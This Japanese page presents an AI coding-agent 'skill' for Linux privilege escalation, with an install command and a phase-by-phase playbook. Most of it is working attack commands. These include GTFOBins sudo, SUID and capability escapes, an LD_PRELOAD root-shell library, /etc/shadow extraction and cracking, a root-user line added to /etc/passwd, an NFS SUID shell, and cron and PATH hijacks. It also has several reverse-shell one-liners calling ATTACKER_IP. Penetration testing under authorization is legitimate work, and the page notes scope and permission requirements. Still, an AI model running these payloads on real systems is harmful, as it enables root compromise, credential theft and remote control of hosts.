Linux Privilege Escalation について
Linux Privilege Escalationは、Linuxシステムの権限昇格経路を評価するセキュリティスキルです。許可を得たテスター向けに、設定不備や一般的な手法の調査手順を示し、範囲管理、証拠記録、修正提案も扱います。
主な機能
- 01ユーザー、プロセス、システム設定の列挙
- 02カーネル脆弱性とsudo権限の確認
- 03SUID、ケイパビリティ、定期ジョブの調査
- 04PATHハイジャックとNFSの弱点の評価
- 05調査結果と修正案の記録
活用シーン
- 01許可されたLinuxホストの権限昇格評価
- 02sudoやSUID設定の問題の調査
- 03定期ジョブとファイル権限リスクの確認
- 04セキュリティ調査結果と修正案の整理
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ davila7/ claude-code-templates --skill linux-privilege-escalationインストール後、Claude Code で/linux-privilege-escalationを入力して読み込まれたか確認します。
詳細
Linux 権限昇格
目的
低権限ユーザーのアクセスからルートレベルの制御へ昇格させる、誤設定、脆弱なサービス、セキュリティ上の弱点を特定して悪用するため、Linux システムに対して体系的な権限昇格の評価を実施します。このスキルにより、カーネルの脆弱性、sudo の誤設定、SUID バイナリ、cron ジョブ、ケイパビリティ、PATH ハイジャック、NFS の弱点について、包括的な列挙と悪用が可能になります。
入力 / 前提条件
必要なアクセス
- 対象 Linux システムへの低権限のシェルアクセス
- コマンドを実行できること(対話型または準対話型のシェル)
- リバースシェル接続のためのネットワークアクセス(必要な場合)
- ペイロードのホスティングとシェルの受信に使用する攻撃者のマシン
技術要件
- Linux のファイルシステムのパーミッションと所有権の理解
- 一般的な Linux ユーティリティとスクリプティングの習熟
- カーネルのバージョンと関連する脆弱性の知識
- カスタムエクスプロイトのためのコンパイル(gcc)の基本的な理解
推奨ツール
- LinPEAS、LinEnum、または Linux Smart Enumeration スクリプト
- Linux Exploit Suggester(LES)
- バイナリの悪用に関する GTFOBins リファレンス
- パスワードクラッキング用の John the Ripper または Hashcat
- リバースシェル用の Netcat または同等のツール
出力 / 成果物
主な出力
- 対象システム上のルートシェルアクセス
- 権限昇格の経路のドキュメント
- システム列挙の結果レポート
- 修正の推奨事項
証跡となる成果物
- 権限昇格成功時のスクリーンショット
- ルートアクセスを示すコマンド出力ログ
- 特定された脆弱性の詳細
- 悪用された設定ファイル
中核ワークフロー
フェーズ 1: システム列挙
基本的なシステム情報
脆弱性調査のために基本的なシステムの詳細を収集します:
# Hostname and system role
hostname
# Kernel version and architecture
uname -a
# Detailed kernel information
cat /proc/version
# Operating system details
cat /etc/issue
cat /etc/*-release
# Architecture
arch
ユーザーとパーミッションの列挙
# Current user context
whoami
id
# Users with login shells
cat /etc/passwd | grep -v nologin | grep -v false
# Users with home directories
cat /etc/passwd | grep home
# Group memberships
groups
# Other logged-in users
w
who
ネットワーク情報
# Network interfaces
ifconfig
ip addr
# Routing table
ip route
# Active connections
netstat -antup
ss -tulpn
# Listening services
netstat -l
プロセスとサービスの列挙
# All running processes
ps aux
ps -ef
# Process tree view
ps axjf
# Services running as root
ps aux | grep root
環境変数
# Full environment
env
# PATH variable (for hijacking)
echo $PATH
フェーズ 2: 自動化された列挙
包括的な列挙のために自動化スクリプトを展開します:
# LinPEAS
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# LinEnum
./LinEnum.sh -t
# Linux Smart Enumeration
./lse.sh -l 1
# Linux Exploit Suggester
./les.sh
スクリプトを対象システムに転送します:
# On attacker machine
python3 -m http.server 8000
# On target machine
wget http://ATTACKER_IP:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
フェーズ 3: カーネルエクスプロイト
カーネルバージョンの特定
uname -r
cat /proc/version
エクスプロイトの検索
# Use Linux Exploit Suggester
./linux-exploit-suggester.sh
# Manual search on exploit-db
searchsploit linux kernel [version]
代表的なカーネルエクスプロイト
| カーネルバージョン | エクスプロイト | CVE |
|---|---|---|
| 2.6.x - 3.x | Dirty COW | CVE-2016-5195 |
| 4.4.x - 4.13.x | Double Fetch | CVE-2017-16995 |
| 5.8+ | Dirty Pipe | CVE-2022-0847 |
コンパイルと実行
# Transfer exploit source
wget http://ATTACKER_IP/exploit.c
# Compile on target
gcc exploit.c -o exploit
# Execute
./exploit
フェーズ 4: Sudo の悪用
sudo 権限の列挙
sudo -l
GTFOBins による sudo の悪用
悪用コマンドについては https://gtfobins.github.io を参照してください:
# Example: vim with sudo
sudo vim -c ':!/bin/bash'
# Example: find with sudo
sudo find . -exec /bin/sh \; -quit
# Example: awk with sudo
sudo awk 'BEGIN {system("/bin/bash")}'
# Example: python with sudo
sudo python -c 'import os; os.system("/bin/bash")'
# Example: less with sudo
sudo less /etc/passwd
!/bin/bash
LD_PRELOAD の悪用
env_keep に LD_PRELOAD が含まれている場合:
// shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
# Compile shared library
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
# Execute with sudo
sudo LD_PRELOAD=/tmp/shell.so find
フェーズ 5: SUID バイナリの悪用
SUID バイナリの検索
find / -type f -perm -04000 -ls 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
SUID バイナリの悪用
SUID の悪用については GTFOBins を参照してください:
# Example: base64 for file reading
LFILE=/etc/shadow
base64 "$LFILE" | base64 -d
# Example: cp for file writing
cp /bin/bash /tmp/bash
chmod +s /tmp/bash
/tmp/bash -p
# Example: find with SUID
find . -exec /bin/sh -p \; -quit
SUID によるパスワードクラッキング
# Read shadow file (if base64 has SUID)
base64 /etc/shadow | base64 -d > shadow.txt
base64 /etc/passwd | base64 -d > passwd.txt
# On attacker machine
unshadow passwd.txt shadow.txt > hashes.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
passwd へのユーザー追加(nano/vim に SUID が設定されている場合)
# Generate password hash
openssl passwd -1 -salt new newpassword
# Add to /etc/passwd (using SUID editor)
newuser:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash
フェーズ 6: ケイパビリティの悪用
ケイパビリティの列挙
getcap -r / 2>/dev/null
ケイパビリティの悪用
# Example: python with cap_setuid
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# Example: vim with cap_setuid
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash", "bash", "-c", "reset; exec bash")'
# Example: perl with cap_setuid
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
フェーズ 7: Cron ジョブの悪用
Cron ジョブの列挙
# System crontab
cat /etc/crontab
# User crontabs
ls -la /var/spool/cron/crontabs/
# Cron directories
ls -la /etc/cron.*
# Systemd timers
systemctl list-timers
書き込み可能な Cron スクリプトの悪用
# Identify writable cron script from /etc/crontab
ls -la /opt/backup.sh # Check permissions
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/backup.sh
# If cron references non-existent script in writable PATH
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /home/user/antivirus.sh
chmod +x /home/user/antivirus.sh
フェーズ 8: PATH ハイジャック
# Find SUID binary calling external command
strings /usr/local/bin/suid-binary
# Shows: system("service apache2 start")
# Hijack by creating malicious binary in writable PATH
export PATH=/tmp:$PATH
echo -e '#!/bin/bash\n/bin/bash -p' > /tmp/service
chmod +x /tmp/service
/usr/local/bin/suid-binary # Execute SUID binary
フェーズ 9: NFS の悪用
# On target - look for no_root_squash option
cat /etc/exports
# On attacker - mount share and create SUID binary
showmount -e TARGET_IP
mount -o rw TARGET_IP:/share /tmp/nfs
# Create and compile SUID shell
echo 'int main(){setuid(0);setgid(0);system("/bin/bash");return 0;}' > /tmp/nfs/shell.c
gcc /tmp/nfs/shell.c -o /tmp/nfs/shell && chmod +s /tmp/nfs/shell
# On target - execute
/share/shell
クイックリファレンス
列挙コマンドの概要
| 目的 | コマンド |
|---|---|
| カーネルバージョン | uname -a |
| 現在のユーザー | id |
| sudo の権限 | sudo -l |
| SUID ファイル | find / -perm -u=s -type f 2>/dev/null |
| ケイパビリティ | getcap -r / 2>/dev/null |
| Cron ジョブ | cat /etc/crontab |
| 書き込み可能なディレクトリ | find / -writable -type d 2>/dev/null |
| NFS のエクスポート | cat /etc/exports |
リバースシェルのワンライナー
# Bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# Python
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
# Netcat
nc -e /bin/bash ATTACKER_IP 4444
# Perl
perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");'
主要なリソース
- GTFOBins: https://gtfobins.github.io
- LinPEAS: https://github.com/carlospolop/PEASS-ng
- Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
制約とガードレール
運用上の境界
- カーネルエクスプロイトは、本番環境で使用する前にテスト環境で検証してください
- 失敗したカーネルエクスプロイトはシステムをクラッシュさせる可能性があります
- 権限昇格中に行ったすべての変更を文書化してください
- アクセスの永続化は、許可された範囲内でのみ維持してください
技術的な制限
- 最新のカーネルには、エクスプロイト緩和策(ASLR、SMEP、SMAP)が実装されている場合があります
- AppArmor/SELinux によって、エクスプロイト手法が制限される場合があります
- コンテナ環境では、カーネルレベルのエクスプロイトが制限されます
- 強化されたシステムでは、sudo の設定が制限されている場合があります
法的および倫理的要件
- テストを実施する前に、書面による許可が必要です
- 定義された対象範囲の境界内にとどまってください
- 重大な発見事項は直ちに報告してください
- 対象範囲の要件を超えるデータにはアクセスしないでください
例
例 1: find による sudo から root への昇格
シナリオ: ユーザーが find コマンドに対する sudo 権限を持っている
$ sudo -l
User user may run the following commands:
(root) NOPASSWD: /usr/bin/find
$ sudo find . -exec /bin/bash \; -quit
# id
uid=0(root) gid=0(root) groups=0(root)
例 2: シャドウファイルへのアクセスに使用する SUID の base64
シナリオ: base64 バイナリに SUID ビットが設定されている
$ find / -perm -u=s -type f 2>/dev/null | grep base64
/usr/bin/base64
$ base64 /etc/shadow | base64 -d
root:$6$xyz...:18000:0:99999:7:::
# Crack offline with john
$ john --wordlist=rockyou.txt shadow.txt
例 3: cron ジョブスクリプトの乗っ取り
シナリオ: root で実行される cron ジョブが、書き込み可能なスクリプトを実行している
$ cat /etc/crontab
* * * * * root /opt/scripts/backup.sh
$ ls -la /opt/scripts/backup.sh
-rwxrwxrwx 1 root root 50 /opt/scripts/backup.sh
$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /opt/scripts/backup.sh
# Wait 1 minute
$ /tmp/bash -p
# id
uid=1000(user) gid=1000(user) euid=0(root)
トラブルシューティング
| 問題 | 解決策 |
|---|---|
| エクスプロイトのコンパイルに失敗する | gcc の有無を確認: which gcc; 同じアーキテクチャの攻撃側マシンでコンパイルする; gcc -static を使用する |
| リバースシェルが接続されない | ファイアウォールを確認する; ポート 443/80 を試す; ステージドペイロードを使用する; 送信フィルタリングを確認する |
| SUID バイナリが悪用できない | バージョンが GTFOBins と一致するか確認する; AppArmor/SELinux を確認する; 一部のバイナリは権限を降格する |
| cron ジョブが実行されない | cron が実行中か確認: service cron status; +x 権限を確認する; crontab の PATH を確認する |
コメント
Markdown 対応